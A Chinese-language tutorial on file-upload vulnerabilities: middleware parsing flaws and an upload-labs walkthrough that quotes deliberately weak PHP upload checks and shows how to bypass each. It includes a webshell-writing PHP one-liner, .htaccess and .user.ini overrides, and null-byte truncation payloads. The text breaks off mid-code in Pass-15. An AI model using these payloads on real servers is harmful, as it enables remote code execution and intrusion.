文件上傳總結(jié)

0x00 漏洞原理與危害

網(wǎng)站web應(yīng)用程序都有一些文件上傳功能谒亦,比如文檔竭宰、圖片空郊、頭像、視頻上傳切揭,當(dāng)上傳功能的實(shí)現(xiàn)代碼沒(méi)有嚴(yán)格校驗(yàn)上傳文件的后綴和文件類型時(shí)狞甚,就可以上傳任意文件甚至是執(zhí)行文件后門(mén)。

惡意文件傳遞給解釋器去執(zhí)行廓旬,之后就可以再服務(wù)器上執(zhí)行惡意代碼哼审,進(jìn)行數(shù)據(jù)庫(kù)執(zhí)行、服務(wù)器文件管理孕豹,服務(wù)器命令執(zhí)行等惡意操作涩盾。根據(jù)網(wǎng)站使用及可解析的程序腳本不同,可以上傳的惡意腳本可以是PHP励背、ASP春霍、JSP、ASPX文件等椅野。

0x01 常見(jiàn)上傳點(diǎn)及繞過(guò)

頭像
相冊(cè)
附件
添加文章圖片
前臺(tái)留言資料上傳
編輯器文件上傳
...

后綴繞過(guò)

PHP:
/ph(p[2-7]?|t(ml)?)/的后綴终畅,如php2、php3竟闪、php5离福、php7、phtml炼蛤、pht妖爷、shtml、phtm(是否解析需要根據(jù)配置文件中設(shè)置類型類決定)
ASP:
asa理朋、cer絮识、cdx、asp{80-90}
ASPX:
ascx嗽上、asax次舌、ashx、asac兽愤、asmx
JSP:
jsp彼念、jspx、jspf浅萧、jspa逐沙、jsw、jsv洼畅、jtml

繞過(guò)類型

Content-Type繞過(guò)
前端繞過(guò)
文件解析規(guī)則繞過(guò)
Windows環(huán)境特性繞過(guò)
文件名大小寫(xiě)繞過(guò)
雙寫(xiě)繞過(guò)
點(diǎn)空格繞過(guò)
文件頭繞過(guò)
條件競(jìng)爭(zhēng)繞過(guò)
......

0x02 中間件解析漏洞

1吩案、 Apache解析漏洞

1.1) 未知后綴

特性:Apache對(duì)于文件名的解析是從后面往前解析的,直到遇見(jiàn)一個(gè)Apache認(rèn)識(shí)的文件類型未知帝簇。

phpshell.php.rar.abc.xxx

Apache不認(rèn)識(shí)xxx徘郭、abc靠益、rar依次從右往左解析,直到遍歷到.php崎岂。

文件類型定義在Apache的mime.types文件中捆毫。

image-20200103114647808

防御方法:在配置文件httpd.conf或httpd-vhosts.conf中加入

<FileMatch ".+\.ph(p[3457]?|t|tml)\."> 
Require all denied 
</FileMatch>

1.2) CVE-2017-15715(LINUX環(huán)境下)

Apache 2.4.0-2.4.29使用了如下的配置

<FilesMatch \.php$>
    SetHandler application/x-httpd-php
</FilesMatch>

原理:可以注意到$這個(gè)解析漏洞的根本原因就是這個(gè)$。如果我們此時(shí)有個(gè)文件后綴名為:.php\n冲甘,Apache是會(huì)將其作為php文件進(jìn)行解析绩卤。

利用Burp的HEX功能在1.php后面添加一個(gè)\x0A,然后訪問(wèn)/1.php%0A江醇。

2濒憋、IIS 5.x/6.0解析漏洞

2.1) 目錄解析

在網(wǎng)站下建立文件夾的名稱中帶有.asp、.asa等可執(zhí)行腳本文件后綴為后綴的文件夾陶夜,其目錄內(nèi)的任何擴(kuò)展名的文件都被IIS當(dāng)作可執(zhí)行文件來(lái)解析并執(zhí)行凛驮。這是由于處理文件夾擴(kuò)展名出錯(cuò),導(dǎo)致將/*.asp/目錄下的所有文件都作為asp文件進(jìn)行解析条辟。

原因: ii6.0的服務(wù)器開(kāi)啟Active Server Pages服務(wù)拓展

http://www.xxx.com/xx.asp/xx.jpg

2.2) 文件解析

在IIS和Windows環(huán)境下曾經(jīng)出現(xiàn)過(guò)以分號(hào)";"為截?cái)嘧址穆┒础?/p>

原因: ii6.0的服務(wù)器開(kāi)啟Active Server Pages服務(wù)拓展

http://www.xxx.com/xx.asp;xx.jpg

2.3) IIS PUT

PUT是在WebDav中定義的一個(gè)方法黔夭。WebDav大大擴(kuò)展了HTTP協(xié)議中的GET、POST羽嫡、HEAD等功能本姥,它所包含的PUT方法,允許用戶上傳文件到直定的路勁下杭棵。

開(kāi)啟WebDav之后婚惫,IIS就支持PROPFIND、PROPPATCH魂爪、MKCOL先舷、DELETE、PUT滓侍、COPY蒋川、MOVE、LOCK撩笆、UNLOCK等方法了尔破。我們的攻擊手段采用:

1:通過(guò)options探測(cè)服務(wù)器信息(IIS PUT SCANER進(jìn)行探測(cè),還可以利用iiswrite工具進(jìn)行漏洞利用)

2:上傳文本文件

3:通過(guò)MOVE改名(MOVE能否執(zhí)行成功浇衬,取決于IIS服務(wù)器是否勾選了“腳本資源訪問(wèn)”的復(fù)選框)(IIS6.0 默認(rèn)的可執(zhí)行文件除了asp還包含這三種 *.asa *.cer *.cdx)

3、IIS 7.0/7.5解析漏洞

3.1) 畸形解析漏洞

原理:默認(rèn)fast-cgi開(kāi)啟狀況下餐济,在一個(gè)文件路勁后面加上/xx.php會(huì)將原來(lái)的文件解析為php文件耘擂。

條件:1)php.ini里cgi.fix_pathinfo=1(默認(rèn)為1);2)在"Handler Mapping"中取消勾選"Invoke handler only if request is mapped to"

上傳test.jpg

http://www.xxx.com/test.jpg/xx.php

4絮姆、Nginx解析漏洞

4.1) 畸形解析漏洞

這和IIS 7.5的一樣醉冤,php.ini里cgi.fix_pathinfo=1(默認(rèn)為1)秩霍。

http://www.xxx.com/test.jpg/xx.php

原因:這個(gè)漏洞形成的原因是在fastcgi方式下,PHP獲取環(huán)境變量的方式有關(guān)蚁阳。

配合寫(xiě)入馬上傳

原理:1)網(wǎng)站允許上傳任意文件铃绒,然后檢查上傳文件是否包括webshell,如果包含則刪除該文件螺捐;2)網(wǎng)站允許上傳任意文件颠悬,但是如果不是指定類型,那么使用unlink刪除文件定血。

也就是說(shuō)在刪除之前就執(zhí)行了上傳文件中的php代碼赔癌。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后訪問(wèn)test.jpg/.php就會(huì)在當(dāng)前目錄下生成一句話木馬shell.php,密碼為cmd澜沟。

4.2) Nginx<8.03 空字節(jié)代碼執(zhí)行漏洞

Fast-CGI關(guān)閉的情況下灾票,仍存在解析漏洞。

影響范圍:Nginx 0.5.,0.6.,0.7<=0.7.65,0.8<=0.8.37

http://www.xxx.com/xxx.jpg%00.php

4.3) CVE-2013-4547

影響范圍:0.8.41茫虽,1.5<=1.5.7

http://127.0.0.1/test.jpg \0.php

發(fā)送請(qǐng)求

http://www.xxx.com/test2.jpgAAAphp

使用burpsuite抓包刊苍。分別將AAA采用hex功能改為 \x20 , \x00 , \x2e

5、Tomcat 解析漏洞

限制在windows操作系統(tǒng)下濒析,其實(shí)利用的就是windows特性

xxx.jsp.
xxx.jsp/
xxx.jsp%20
xxx.jsp::$DATA

0x03 upload-labs 闖關(guān)日記

我們以 upload-labs 作為學(xué)習(xí)的靶機(jī)

Pass-01 前端檢測(cè)

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請(qǐng)選擇要上傳的文件!");
        return false;
    }
    //定義允許上傳的文件類型
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳文件的類型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳文件類型是否允許上傳
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "該文件不允許上傳正什,請(qǐng)上傳" + allow_ext + "類型的文件,當(dāng)前文件類型為:" + ext_name;
        alert(errMsg);
        return false;
    }
}

這是一段JS代碼,在前端進(jìn)行驗(yàn)證悼枢。我們可以采用提交.jpg文件然后抓包將文件名后綴改成.php上傳埠忘。或者noscript插件禁用JS馒索。

image-20200102170356062

Pass-02 MIME檢測(cè)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)莹妒!';
            }
        } else {
            $msg = '文件類型不正確,請(qǐng)重新上傳绰上!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夾不存在,請(qǐng)手工創(chuàng)建旨怠!';
    }
}
 if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))

這段PHP的代碼在上傳文件的類型上做了檢測(cè),MIME檢測(cè)蜈块,抓包修改其Content-Type

image-20200105102235248

Pass-03 過(guò)濾不嚴(yán)繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)鉴腻!';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp后綴文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建百揭!';
    }
}
$deny_ext = array('.asp','.aspx','.php','.jsp');
if(!in_array($file_ext, $deny_ext)) 

這里是黑名單檢測(cè)爽哎,我們可以嘗試php3、php5等來(lái)嘗試?yán)@過(guò)

image-20200105104637501

Pass-04 .htaccess繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)器一!';
            }
        } else {
            $msg = '此文件不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建课锌!';
    }
}

這也是黑名單檢測(cè),但過(guò)濾的很?chē)?yán)格。不過(guò)并沒(méi)有過(guò)濾.htaccess渺贤。.htaccess是偽靜態(tài)環(huán)境配置文件

.htaccess文件雏胃,其內(nèi)容為

<FilesMatch "pinos">
SetHandler application/x-httpd-php
</FilesMatch>

其將pino解析為php文件

image-20200105115438798

這里是將所有文件解析為.php文件

再上傳一個(gè)允許的后綴名文件,就可以解析

image-20200105125011647

最開(kāi)始我在linux環(huán)境下志鞍,始終解析不了瞭亮。

百度以后,支持.htaccess解析(只支持apache)固棚,apache 需要配置httpd.conf统翩,然后重啟

Options FollowSymLinks
AllowOverride None

改為:

Options FollowSymLinks
AllowOverride All

Pass-05 .user.ini繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件類型不允許上傳玻孟!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建唆缴!';
    }
}

這里把.htaccess的后綴也過(guò)濾了。我們這里可以嘗試下user.ini上傳

利用條件:

1黍翎、服務(wù)器腳本語(yǔ)言為PHP

2面徽、服務(wù)器使用CGI/FastCGI

3、上傳目錄下要有可執(zhí)行的php文件

.user.ini實(shí)際上就是一個(gè)可以由用戶自定義的php.ini匣掸,我們能夠自定義的設(shè)置是模式為"PHP_INI_PERDIR趟紊、PHP_INI_USER"的設(shè)置。

根據(jù)hint碰酝,我們得知上傳目錄下存在readme.php

我們上傳.user.ini文件霎匈,其內(nèi)容為

GIF89a
auto_prepend_file=a.jpg

大致意思就是:我們指定一個(gè)文件(如a.jpg),那么該文件就會(huì)被包含在要執(zhí)行的php文件中(如index.php)送爸,類似于在index.php中插入一句:require(./a.jpg);

這兩個(gè)設(shè)置的區(qū)別只是在于auto_prepend_file是在文件前插入铛嘱;auto_append_file在文件最后插入(當(dāng)文件調(diào)用的有exit()時(shí)該設(shè)置無(wú)效) ,其實(shí)質(zhì)相當(dāng)于是文件包含

image-20200105173316533

在上傳a.jpg

image-20200105174834042

Pass-06 大小寫(xiě)繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件類型不允許上傳袭厂!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建墨吓!';
    }
}

這段代碼未采用 strtolower 過(guò)濾,我們可以采用大小寫(xiě)繞過(guò)的方式

image-20200105175524342

Pass-07 空格繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)纹磺!';
            }
        } else {
            $msg = '此文件不允許上傳';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建帖烘!';
    }
}

還是黑名單檢測(cè),這里未采用trim()函數(shù)橄杨,可以采用空繞過(guò)也就php后面加一個(gè)空格

image-20200105180138257

Pass-08 中間件解析漏洞/特殊文件名繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)秘症!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建式矫!';
    }
}

我這里采用的是上傳1.php.aaa利用apache的解析漏洞

image-20200105183014671

看了其他人的wp乡摹,這里未用deldot函數(shù) 刪除文件名末尾的點(diǎn)

采用上傳1.php. 然后利用windows特性自動(dòng)去掉后綴名中最后的.采转,Unix/Linux系統(tǒng)沒(méi)有這個(gè)特性趟卸。

image-20200105183401029

Pass-09 Windows流特性繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建锄列!';
    }
}

php再windows的時(shí)候如果文件名+ ::$DATA 會(huì)把 $DATA 之后的數(shù)據(jù)當(dāng)成文件流處理,不會(huì)檢測(cè)后綴名惯悠。且保持 ::$DATA 之前的文件名邻邮。

image-20200105190219777

Pass-10 綜合繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點(diǎn)
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉(zhuǎn)換為小寫(xiě)
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯(cuò)!';
            }
        } else {
            $msg = '此文件類型不允許上傳克婶!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建筒严!';
    }
}

這里先經(jīng)過(guò)trim去除前后空格,再經(jīng)過(guò)deldot刪除末尾的點(diǎn)后進(jìn)行檢測(cè)弱過(guò)檢測(cè)過(guò)了直接拼接到上傳路徑上情萤。

獲取文件的擴(kuò)展名鸭蛙,轉(zhuǎn)為小寫(xiě),去除::$DATA字符串再去除首尾空格筋岛。

我們考慮構(gòu)造一個(gè) 1.php. . 上傳

后面的兩個(gè).中間有個(gè)空格

image-20200105201721217

Pass-11 雙寫(xiě)繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯(cuò)娶视!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建!';
    }
}
$file_name = str_ireplace($deny_ext,"", $file_name);

這個(gè)函數(shù)的意思是如果上傳的文件名里如果存在deny_ext數(shù)組里的字符串就將他替換為空

我們可以想到雙寫(xiě)繞過(guò)睁宰,例如phphpp這里將php過(guò)濾后剩下php

image-20200105210559017

Pass-12 %00截?cái)嗬@過(guò)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上傳出錯(cuò)肪获!';
        }
    } else{
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

這里是白名單檢測(cè)

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

注意看這段柒傻,有一個(gè)GET的參數(shù)save_path這里表明了孝赫,我們的上傳路徑是可控的。

image-20200106083741867

我們這里采用%00截?cái)嗪旆驗(yàn)镚ET會(huì)自動(dòng)解碼青柄,在文件名繞過(guò)后,由于代碼是由路勁+xxx拼接成的预侯,由于服務(wù)器不認(rèn)識(shí)這個(gè)符號(hào)便自動(dòng)截?cái)嗔酥驴槭裁催@里是%00而有時(shí)候是0x00呢?

00截?cái)嘣矸治?/strong>

%00:在url中%00表示ascII碼中的0雌桑,而ascii中0作為特殊字符保留喇喉,表示字符串結(jié)束,所以當(dāng)url中出現(xiàn)%00時(shí)會(huì)認(rèn)為讀取已結(jié)束校坑。

例如

https://mp.csdn.net/upfiles/?filename=test.txt              此時(shí)輸出test.txt
https://mp.csdn.net/upfiles/?filename=test.php%00.text      此時(shí)輸出test.php

0x00:0x00是16進(jìn)制的00拣技,也就是%00解碼成16進(jìn)制。在burp接收到POST數(shù)據(jù)包的時(shí)候耍目,會(huì)將POST數(shù)據(jù)包中的內(nèi)容膏斤,直接進(jìn)行URL編碼了。

我們的常規(guī)操作邪驮,將 `1.php .jpg` 的空格用burp的hex功能莫辨,把0x20改為0x00

或者 `1.php%00.jpg` 中將%00進(jìn)行URL-decode

首先解釋為什么要進(jìn)行url-decode,其原因在于上傳的表單中有一個(gè)enctype的屬性,并且需要enctype="multipart/form-data" (不對(duì)表單數(shù)據(jù)進(jìn)行編碼)沮榜,path大多數(shù)都是存放在表單中的盘榨,因此需要在數(shù)據(jù)包中進(jìn)行urldecode操作使得%00變成字符串結(jié)束字符。

理解:在URL中的%00會(huì)被web服務(wù)器當(dāng)作16進(jìn)制處理蟆融,然后自動(dòng)翻譯成ascii碼實(shí)現(xiàn)截?cái)嗖菅玻欢赽urp中16進(jìn)制編輯器將空格20改成了00。本質(zhì)來(lái)說(shuō)型酥,都是利用0x00是字符串的結(jié)束標(biāo)識(shí)符山憨,進(jìn)行截?cái)唷?/p>

Pass-13 0x00截?cái)嗬@過(guò)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "只允許上傳.jpg|.png|.gif類型文件!";
    }
}

和上題一樣都是00截?cái)嗝趾恚@里就需要url-decode了

image-20200106092450725

php 00截?cái)鄺l件

1郁竟、版本小于5.3.4

2、magic_quotes_gpc為OFF

Pass-14 文件頭檢測(cè)

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節(jié)
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知由境,上傳失斉锬丁!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)藻肄!";
        }
    }
}

檢測(cè)文件內(nèi)容的前兩個(gè)字節(jié)蔑舞,然后使用文件包含繞過(guò)

我們這里制作圖片馬,網(wǎng)上說(shuō)也可以采用在文件內(nèi)容前加GIF89a

copy x.jpg/b+1.txt/a 1.jpg
image-20200106103720655

本地環(huán)境不知道為什么嘹屯,圖片馬包含一直報(bào)錯(cuò)攻询,但是放在Linux服務(wù)器上包含能解析出來(lái)

后來(lái)我換了一張圖片,就能包含成功了

Pass-15 getimagesize繞過(guò)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知州弟,上傳失斁堋!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
